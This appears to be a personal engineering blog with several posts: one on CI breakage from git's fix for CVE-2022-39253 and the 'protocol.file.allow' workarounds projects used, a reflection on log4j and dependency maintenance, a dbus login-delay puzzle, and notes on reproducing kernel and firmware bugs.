Logbook

git security fixes lead to "fatal: transport 'file' not allowed" error in CI systems; CVE-2022-39253

If you are running a CI system that uses git to check out software for builds, and if that environment uses "git submodule add" to bring in files from the filesystem, then you might be affected by this change.

As of git v2.38.1 and the back port of the associated patch to v2.30.6, v2.31.5, v2.32.4, v2.33.5, v2.34.5, v2.35.5, v2.36.3, and v2.37.4, git will now refuse to clone repositories via the --local clone optimization if there are symbolic links present within the objects directory. The vulnerability, CVE-2022-39253, describes an attack that traverses symbolic links to break a security boundary. Cory Snider of Mirantis gets credit for identifying this issue.

https://github.blog/2022-10-18-git-security-vulnerabilities-announced/#cve-2022-39253 https://lore.kernel.org/lkml/[email protected]/

The Github security issue GHSA-3wp6-j8xr-qw85 provides a few more details, noting that the malicious actor can use this misfeature to attack "docker build" and "podman".

https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85

The change in behavior is reported as bug 1993586 to Ubuntu's "Launchpad", and readers there have pinpointed the Ubuntu versions that have this change. The bug is closed as "invalid" as the change in behavior is as intended.

https://bugs.launchpad.net/ubuntu/+source/git/+bug/1993586

If your build is broken as a result of this change - noted by Jérôme Petazzoni to affect at least some Arch AUR packages and Debian apt packages - you will need to make changes. Here are some examples.

https://twitter.com/jpetazzo/status/1583112279012257797

Microsoft fixed their "go-infra" repository by adding the option -c protocol.file.allow=always to their git invocation in their test infra.

https://github.com/microsoft/go-infra/pull/71/files

The stack project of Haskell set a global variable with git config --global protocol.file.allow always in their integration test system. The "spack" package manager did likewise.

https://github.com/commercialhaskell/stack/pull/5909/files https://github.com/spack/spack/pull/33429

As of this writing, this Github search for the error string has 13 open issues, so there's some set of people who are chasing this down right now to get their build systems back online.

https://github.com/search?q=%22fatal%3A+transport+%27file%27+not+allowed%22&type=issues

on log4j and dependencies on other people's complex systems

The issue of the {day, week, month, year} is log4j, a logging library for Java that turned out (unbeknownst to the world) to have a lot more subtle power than was obvious on the surface. When looked at closely, this subtle power turned into a vector for remote code execution (through the Java JNDI interface) and exfiltration of secrets (through variable expansion). The world is scrambling to figure out what their exposure is to this newly found threat, and in many cases also trying to figure out how they can safely update deeply embedded buggy dependencies.

If log4j were the product of a well-funded, scrappy, pre-unicorn startup, the question of what to do would be different. As is, the committer base for the product is very small, it's old in Internet terms, and the original feature that triggered this issue was added years ago.

The pernicious thing about this particular exploit is that to be sure you're not vulnerable you have to audit not only all your own code but also all the code of all the systems you interact with. This includes embedded systems, control planes for routers and switches, software that you consume as a service rather than running on-premises, even device firmware. Java is everywhere, and log4j is very popular, so the attack surface is huge.

I am not sure what we as an industry can do about this kind of issue. Software lifecycles are very tricky to manage. If code is feature complete and not being actively added onto, people walk away from it to do more interesting things, and you get the risk of abandonware. If on the other hand the code tries to keep up with the pace of change of the modern Internet, it can very easily accumulate a lot of cruft and complexity. Scrapping a fully working system to replace it with something brand new is very risky.

The question of funding comes up time after time. The very small team that continues to work away at log4j after lo these many years is not paid directly by the foundation (Apache) that hosts their effort. For most big corporations, it's very hard to spend small amounts of money. Larger amounts of corporate money might be available for feature development (and added complexity), but see above re cruft.

I have seen foundations try to tackle this conundrum, e.g by paying outside parties to do a security audit of code that's under their umbrella. This is an expensive but controlled way of finding bugs and design flaws in a system, and if it's done right it can contribute to a sense of confidence about one specific component. But no one is talking now about auditing "all code in Maven" or "all code in npm", that's near enough to an infinite task to be considered impossible. Even automated audits and fuzz testing only go so far to find known classes of bugs.

I leave this without any simple solutions. The "software bill of materials" (SBOM) approaches being actively promoted right now will help to a certain extent, but even if they can accurately enumerate your dependencies they won't necessarily tell you how to fix them if something goes haywire. GitOps and other automated deployment tools will assist you in recreating your infrastructure if need be, but won't always have a simple answer about how to safely shift a single embedded component.

No one really understands their full stack (from pretty UI all the way down to BMC firmware). Complex systems are in a state of perpetual partial failure. It might have been a mistake to teach sand how to think.

mysterious dbus 25 second timeout

I have a Jetson Nano, which serves mostly as a DLNA music server. From time to time I log in and poke around. It's been slow to do its business lately, and some commands that should be fast are slow - very slow.

How slow? Try 25 seconds of idle time before w returns.

It's not hard to find this 25 second timeout show up in other people's problems - some accounts run like so:

• systemd-logind: Logins via ssh and su are delayed by 25 seconds
• SSH login delayed by 25 seconds with pam_systemd(sshd:session): Failed to create session: Connection timed out

The problems point back to dbus, but don't have a single simple diagnosis or fix. And indeed I did something on the Nano and the problem disappeared.

As I say, mysterious.

Logbook: first steps, and reproducing bugs

Notes from the day's log. This is day 1/n, the hope is that it's a useful output with a few days or weeks of practice.

Debugging Go, the Linux Kernel, and GCC signal handling. There's an interesting and very deep set of bugs that are being explored in the Linux kernel and in the latest Go. Brad Fitzpatrick notes this on Twitter - "Pretty fun debugging". The Go bug is is 35326 "Corrupt binary export data" and the upstream kernel bug is 205663 "AVX register corruption from signal delivery". At the moment the assembled team is staring at differences between the GCC 8 and GCC 9 compiler output, and bisecting 5.x kernel versions.

A previous interesting kernel debug exercise is 201685 "Incorrect disk IO caused by blk-mq direct issue can lead to file system corruption". This was in the 4.19 era of kernel development, and the interesting piece of it is just how tricky it was to reproduce the condition. Eventually after some weeks of effort this was pinned down, and this commit to blktests has the reproducer based on original code from Lukáš Krejčí and contributed by Omar Sandoval.

In firmware engineering news, certain HPE SSD drives will brick themselves after 32,768 hours (less than 4 years) of operation, with no recovery possible. Details at the HPE Support Center. Firmware updates will fix the drives from certain doom if they are updated in time. Note that the worst case scenario is that all of the drives of this type which you put into production at the same time will fail at the same time. No news of reported failures in the field.

A common theme in each of these reports is "how do we reproduce this bug". Any number of systems will crash in mysterious ways if you have heavy loads and unstable components. The code paths that you reason about when they system is doing ordinary work can have very little to do with what actually happens in overload conditions. Composing a minimum reproducing case for a complex bug is a very special and useful skill set, and it often takes people with an unusual command of system innards as well as a faithful and exact mental model of how a complex piece of silicon actually works to pull that off.